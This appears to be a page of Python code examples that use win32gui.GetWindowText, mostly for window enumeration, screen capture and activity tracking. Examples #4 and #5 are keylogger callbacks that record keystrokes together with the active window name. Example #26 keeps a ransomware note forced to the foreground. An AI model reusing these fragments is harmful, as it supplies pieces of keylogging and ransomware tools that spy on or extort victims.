Пример #1
0
def winEnumHandler( hwnd, ctx):
    global WindowRects;
    if win32gui.IsWindowVisible( hwnd ):
        #print(hex(hwnd), win32gui.GetWindowText( hwnd ))
        if (win32gui.GetWindowText(hwnd) == "RWBY Deckbuilding Game"):
            print(hex(hwnd), win32gui.GetWindowText( hwnd ))
            rect = win32gui.GetWindowRect(hwnd);
            winRect = [0,0,0,0]
            winRect[0] = rect[0]
            winRect[1] = rect[1]
            winRect[2] = rect[2]
            winRect[3] = rect[3]
            WindowRects.append(winRect);
Пример #2
0
def window_text(hwnd: int) -> str:
    """핸들로부터 윈도우 이름을 가져옴

    Args:
        hwnd: 윈도우 핸들

    Returns:
        윈도우 이름
    """
    txt: str = win32gui.GetWindowText(hwnd).strip()
    if txt:
        return win32gui.GetWindowText(hwnd)
    else:
        return "({})".format(hwnd)
Пример #3
0
 def _window_enum_callback(self, hwnd, wildcard):
     tid, pid = win32process.GetWindowThreadProcessId(hwnd)
     title = win32gui.GetWindowText(hwnd)
     if (self.lock_pid == pid) and (title == wildcard):
         win32gui.ShowWindow(hwnd, 9)
         win32gui.SetForegroundWindow(hwnd)
         win32gui.SetActiveWindow(hwnd)
Пример #4
0
def on_press(key):
    global old_app

    new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow())

    if new_app == 'Cortana':
        new_app = 'Windows Start Menu'
    else:
        pass

    if new_app != old_app and new_app != '':
        logged_data.append(f'[{datetime}] ~ {new_app}\n')
        old_app = new_app
    else:
        pass

    substitution = [
        'Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space',
        ' ', 'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]',
        'Key.ctrl_l', '[CTRL]', 'Key.left', '[LEFT ARROW]', 'Key.right',
        '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13', '[CTRL-S]', '\\x17',
        '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]',
        'Key.cmd', '[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03',
        '[CTRL-C]', '\\x16', '[CTRL-V]'
    ]

    key = str(key).strip('\'')
    if key in substitution:
        logged_data.append(substitution[substitution.index(key) + 1])
    else:
        logged_data.append(key)
Пример #5
0
def tecla_presionada(tecla):
	global app_vieja

	app_nueva = win32gui.GetWindowText(win32gui.GetForegroundWindow())

	if app_nueva == 'Cortana':
		app_nueva = 'Menu de Inicio de Windows'
	else:
		pass
	
	
	if app_nueva != app_vieja and app_nueva != '':
		informacion_loggeada.append(f'[{fecha}] ~ {app_nueva}\n')
		app_vieja = app_nueva
	else:
		pass


	sustitucion = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[RETROCESO]', 'Key.space', ' ',
	'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 
	'Key.left', '[FLECHA IZQUIERDA]', 'Key.right', '[FLECHA DERECHA]', 'Key.shift', '[SHIFT]', '\\x13', 
	'[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', 
	'[TECLA DE WINDOWS]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]']

	tecla = str(tecla).strip('\'')
	if tecla in sustitucion:
		informacion_loggeada.append(sustitucion[sustitucion.index(tecla)+1])
	else:
		informacion_loggeada.append(tecla)
Пример #6
0
def EnumWindowsHandler2(hwnd, extra):
    if win32gui.GetWindowTextLength(hwnd) != 0 and \
        win32gui.IsWindowEnabled(hwnd) and \
        win32gui.IsWindowVisible(hwnd) and \
        win32gui.GetWindowLong(hwnd, win32con.WS_EX_TOOLWINDOW) == 0 and \
        win32gui.GetParent(hwnd) == 0:
        extra.add((hwnd, win32gui.GetWindowText(hwnd)))
Пример #7
0
 def GetHldWord(self, word):
     for hld in self.hWndChildList:
         title = win32gui.GetWindowText(hld)
         title = title.decode('gbk')
         if title == word:
             return hld
     return 0
Пример #8
0
def browser_user_stats(Id, s=''):
    if s == "":
        """ ONLY SUPPORTS GOOGLE CHROME AND FIREFOX FOR NOW ! """
        window = subprocess.run(['xprop', '-id', Id, '_NET_WM_NAME'],
                                stdout=subprocess.PIPE)
        '''unicode-escape raw_unicode_escape "utf-8", "ignore"'''
        window = str(window.stdout.decode("raw_unicode_escape"))
        final = window.split("=")[-1]
        final = final.replace('"', "")
        final = replace_space(final)
        final = final.split("-")
        final.pop(-1)
        name = ""
        for i in final:
            name = name + " " + i
        name = replace_space(name)
        return name
    else:
        from win32 import win32gui
        window = win32gui.GetForegroundWindow()
        name = win32gui.GetWindowText(int(window))
        site_name = name.split("-")[0] + "   " + name.split("-")[1]
        for i in range(3):
            if site_name[0] == " ":
                site_name = site_name[1:]
        return site_name
Пример #9
0
def lookForProgram(hwnd, programName):
    global IsWhiskerRunning, IsOpenEphysRunning
    if programName in win32gui.GetWindowText(hwnd):
        win32gui.CloseWindow(hwnd) # Minimize Window
        if 'Whisker' in programName:
            IsWhiskerRunning = True
        if 'Ephys' in programName:
            IsOpenEphysRunning = True
Пример #10
0
def sofWinEnumHandler( hwnd, ctx ):
    global sofId
    #if win32gui.IsWindowVisible( hwnd ):
    #print (hex(hwnd), win32gui.GetWindowText( hwnd ))
    if win32gui.GetWindowText( hwnd ) == "SoF":
        sofId = hwnd
        return False
    return True
Пример #11
0
def EnumWindowsHandler(hwnd, extra):
    style = win32gui.GetWindowLong(hwnd, -16)
    if style & 0x10000000 == 0x10000000 and style & 0x00C00000 == 0x00C00000:
        if win32gui.GetWindowTextLength(hwnd) != 0:
            if win32gui.IsWindowVisible(hwnd) and win32gui.GetParent(
                    hwnd) == 0:
                hicon = win32gui.GetClassLong(hwnd, -14)
                if hicon:
                    extra.add((hwnd, win32gui.GetWindowText(hwnd)))
Пример #12
0
def printAllWindowsCallback(handle, placeholder):
    """
    Callback function for printAllWindows. Prints out window titles
    that aren't empty.
    """
    windowTitle = win32gui.GetWindowText(handle)
    if (len(windowTitle.strip()) != 0):        
        print("-------------------------------")
        print(windowTitle)
    return True
Пример #13
0
def ypp_window_callback(hwnd, _extras):
    rect = win32gui.GetWindowRect(hwnd)
    x = rect[0]
    y = rect[1]
    w = rect[2] - x
    h = rect[3] - y
    window_title = win32gui.GetWindowText(hwnd)
    if 'Merciless Client' in window_title:
        print('Window found! location=(%d, %d), size=(%d, %d)' % (x, y, w, h))
        pixelDetector(hwnd, w, h)
Пример #14
0
    def show_window_attr(self, hWnd):
        if not hWnd:
            return

        title = win32gui.GetWindowText(hWnd)
        clsname = win32gui.GetClassName(hWnd)
        left, top, right, bottom = win32gui.GetWindowRect(hWnd)  #
        attr = {'hWnd': hWnd, 'title': title, 'clsname': clsname, 'post': [left, top, right, bottom]}

        return attr
def checkWindow():
    windowName = w.GetWindowText(w.GetForegroundWindow()).lower()
    windowNameWords = windowName.split()

    expectedWordsList = ['adobe', 'acrobat', 'reader']

    for word in expectedWordsList:
        if word not in windowNameWords:
            return 0

    return 1
Пример #16
0
 def _getWindowsObjectHandleCallback(self, handle, windowsObject):
     """
     Callback function needed for getWindowsObjectHandle. Will save the handle
     into the WindowsObject if correct title found. If found, raises a StopIteration
     in order to stop the search. Else, returns True to continue the search.
     """
     title = win32gui.GetWindowText(handle)
     if (title == windowsObject.getTitle()):
         windowsObject.setHandle(handle)
         raise StopIteration  #stop the enumeration by raising StopIteration
     return True
Пример #17
0
def get_app_name() -> str:
    app_name: List[str] = win32gui.GetWindowText(
        win32gui.GetForegroundWindow()).split("-")
    app_name = [name.strip() for name in app_name]
    web_browsers = ["Google Chrome", "Mozilla Firefox"]
    app = app_name[len(app_name) - 1]
    for browser in web_browsers:
        if browser.lower() == app.lower():
            site = get_name_from_browser(app_name)
            return site if site else browser
    return app_name[len(app_name) - 1]
Пример #18
0
def ypp_window_callback(hwnd, _extras):
    rect = win32gui.GetWindowRect(hwnd)
    x = rect[0]
    y = rect[1]
    w = rect[2] - x
    h = rect[3] - y
    window_title = win32gui.GetWindowText(hwnd)
    if 'Puzzle Pirates - ' in window_title:
        print('Window found! location=(%d, %d), size=(%d, %d)' % (x, y, w, h))
        pw = PokerWatcher(hwnd, x, y, w, h)
        pw.start()
Пример #19
0
	def callback(hwnd, hwnds):
		if win32gui.IsWindowVisible(hwnd) and win32gui.IsWindowEnabled(hwnd):
			if pid_text is not None:
				text = win32gui.GetWindowText(hwnd)
				if text.find(pid_text) >= 0:
					hwnds.append(hwnd)
			else:
				_, found_pid = win32process.GetWindowThreadProcessId(hwnd)
				if found_pid == pid:
					hwnds.append(hwnd)
		return True
Пример #20
0
    def getActiveWindowBBox(self):
        #  https://github.com/asweigart/PyGetWindow/blob/master/random_notes.txt
        #
        print("system:", platform.system())
        if (platform.system() == "Windows"):
            # import win32gui
            from win32 import win32gui
            from ctypes import windll
            # Make program aware of DPI scaling
            user32 = windll.user32
            user32.SetProcessDPIAware()
            # w = win32gui.GetForegroundWindow()
            hwnd = win32gui.GetForegroundWindow()
            rect = win32gui.GetWindowRect(hwnd)
            print("rect: ", rect)
            x = rect[0]
            y = rect[1]
            w = rect[2] - x
            h = rect[3] - y
            x2 = rect[2]
            y2 = rect[3]
            print("Window %s:" % win32gui.GetWindowText(hwnd))
            print("\tLocation: (%d, %d)" % (x, y))
            print("\tLocation: (%d, %d)" % (x2, y2))
            print("\t    Size: (%d, %d)" % (w, h))
            bbox = (x, y, x2, y2)
            return bbox

        elif (platform.system() == "Darwin"):
            # https://stackoverflow.com/questions/373020/finding-the-current-active-window-in-mac-os-x-using-python
            from AppKit import NSWorkspace
            # activeApp = NSWorkspace.sharedWorkspace().activeApplication()	# depricated
            activeApp = NSWorkspace.sharedWorkspace().frontmostApplication()
            print(activeApp)
            activeAppID = NSWorkspace.sharedWorkspace().activeApplication(
            )['NSApplicationProcessIdentifier']
            print(activeAppID)

            # activeAppName = NSWorkspace.sharedWorkspace().frontmostApplication()['NSApplicationName']
            # print(activeAppName)

            activeAppName = NSWorkspace.sharedWorkspace().activeApplication(
            )['NSApplicationName']
            print(activeAppName)
            bbox = (10, 10, 510, 510)
            return bbox
        else:
            # try linux?
            bbox = (10, 10, 510, 510)
            return bbox

        bbox = (10, 10, 510, 510)
        return bbox
Пример #21
0
 def SetHWND(self, HWND):
     self.captureUnit.mut.acquire()
     if self.captureUnit.GetHWND(HWND):
         self.windowName = win32gui.GetWindowText(HWND)
         self.curHwnd = HWND
         self.captureUnit.curImage = self.captureUnit.GetScreenImg()
         self.curShape = self.captureUnit.curImage.shape
         self.lrValidator.setRange(0,self.curShape[1])
         self.tbValidator.setRange(0,self.curShape[0])
         self.leftInput.setText('0')
         self.rightInput.setText('0')
         self.topInput.setText('0')
         self.botInput.setText('0')
         self.resolution.setText('Resolution : ' + str(self.curShape[0]) + 'X' + str(self.curShape[1]))
     self.captureUnit.mut.release()
Пример #22
0
def callback(hwnd, extra):
    rect = win32gui.GetWindowRect(hwnd)
    x = int(rect[0] * 1.25)
    y = int(rect[1] * 1.25)
    w = int(rect[2] * 1.25) - x
    h = int(rect[3] * 1.25) - y
    text = win32gui.GetWindowText(hwnd)
    if text == "Old School RuneScape":
        print("Window %s:" % text)
        print("\tLocation: (%d, %d)" % (x, y))
        print("\t    Size: (%d, %d)" % (w, h))

        size = [int(w), int(h)]
        position = [x, y]
        monitor = {'top': y, 'left': x, 'width': size[0], 'height': size[1]}
        screenshot_and_draw(monitor)
Пример #23
0
def fit_window_callback(window, arg):
    """Checks if the given window handle matches the program we want,
     and saves window data to the global monitor variable"""
    reg = re.compile('.*Hidden Star in Four Seasons.*')
    if reg.match(wgui.GetWindowText(window)):
        global monitor
        rect = wgui.GetWindowRect(window)
        monitor['top'] = int(rect[1] * SCALE) + MONITOR_WINDOW_MARGIN[0]
        monitor['left'] = int(rect[0] * SCALE) + MONITOR_WINDOW_MARGIN[1]
        monitor['width'] = int(
            (rect[2] - rect[0]) *
            SCALE) - MONITOR_WINDOW_MARGIN[2] - MONITOR_WINDOW_MARGIN[1]
        monitor['height'] = int(
            (rect[3] - rect[1]) *
            SCALE) - MONITOR_WINDOW_MARGIN[3] - MONITOR_WINDOW_MARGIN[0]
        monitor['top'] += int(monitor['height'] * MONITOR_GAME_AREA_RATIO[0])
        monitor['left'] += int(monitor['width'] * MONITOR_GAME_AREA_RATIO[1])
        monitor['width'] = int(monitor['width'] * MONITOR_GAME_AREA_RATIO[2])
        monitor['height'] = int(monitor['height'] * MONITOR_GAME_AREA_RATIO[3])
Пример #24
0
def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime):
    global last_app
    global last_window
    global last_time
    length = user32.GetWindowTextLengthW(hwnd)
    buff = ctypes.create_unicode_buffer(length + 1)
    status = user32.GetWindowTextW(hwnd, buff, length + 1)
    name = buff.value
    app_name = getAppName()
    if not afk_state and name != '' and name != last_window and name == win32gui.GetWindowText(win32gui.GetForegroundWindow()) and app_name not in getSetting("appExclude", {}):
        new_time = int(win32api.GetTickCount() / 1000)
        print(time.strftime('%X') + ' --> ' + name)
        saveCurrentWindowToLog()
        # Update state variables
        last_app = app_name
        last_time = new_time
        last_window = name
        # TCL can't display emojis so we need to clean up the window name
        last_window = ''.join([letter for letter in name if ord(letter) < 65536])
Пример #25
0
 def __init__(self, name, path, process_queue, event, lock=None, logger=None):
     super().__init__(name, path, process_queue, event, logger=logger)
     with lock:
         self.process = subprocess.Popen(self.path, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
         self.pid = self.process.pid
         try:
             self.process.wait(timeout=2)
         except subprocess.TimeoutExpired:
             if self.process.returncode is None:
                 window = win32gui.GetForegroundWindow()
                 active_window_name = win32gui.GetWindowText(window)
                 rect = win32gui.GetWindowRect(window)
                 if active_window_name == 'Telex':
                     buttons = list(pyautogui.locateAllOnScreen('recieve.png'))
                     for button in buttons:
                         x=button[0]+(button[2]//2)
                         y=button[1]+(button[3]//2)
                         if rect[0] < x < rect[2] and rect[1] < y < rect[3]:
                             pyautogui.click(x=button[0]+(button[2]//2), y=button[1]+(button[3]//2), clicks=2, button='left')
                 time.sleep(1)    
Пример #26
0
    def show_ransom_note(self):

        ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt'])
        count = 0
        while True:
            time.sleep(0.1)
            top_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
            if top_window == 'RANSOM_NOTE - Notepad':
                print('Ransom note is the top window - do nothing')
                pass
            else:
                print(
                    'Ransom note is not the top window - kill/create process again'
                )
                time.sleep(0.1)
                ransom.kill()
                time.sleep(0.1)
                ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt'])
            time.sleep(10)
            count += 1
            if count == 5:
                break
Пример #27
0
 def name(self) -> str:
     """
     窗口标题
     @property {str}
     """
     return win32gui.GetWindowText(self.handle)
Пример #28
0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append(
        (hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
Пример #29
0
def obsLikeHandler(hwnd, extra):
    styles = win32gui.GetWindowLong(hwnd, win32con.GWL_STYLE)
    exStyle = win32gui.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
    if win32gui.IsWindowVisible(hwnd) and styles & win32con.WS_CHILD == 0 and \
        exStyle & win32con.WS_EX_TOOLWINDOW == 0 and win32gui.GetWindowText(hwnd) != '':
        extra.add((hwnd, win32gui.GetWindowText(hwnd)))
Пример #30
0
def windowEnumerationHandler(hwnd, top_windows):
    top_windows.append((hwnd, win32gui.GetWindowText(hwnd)))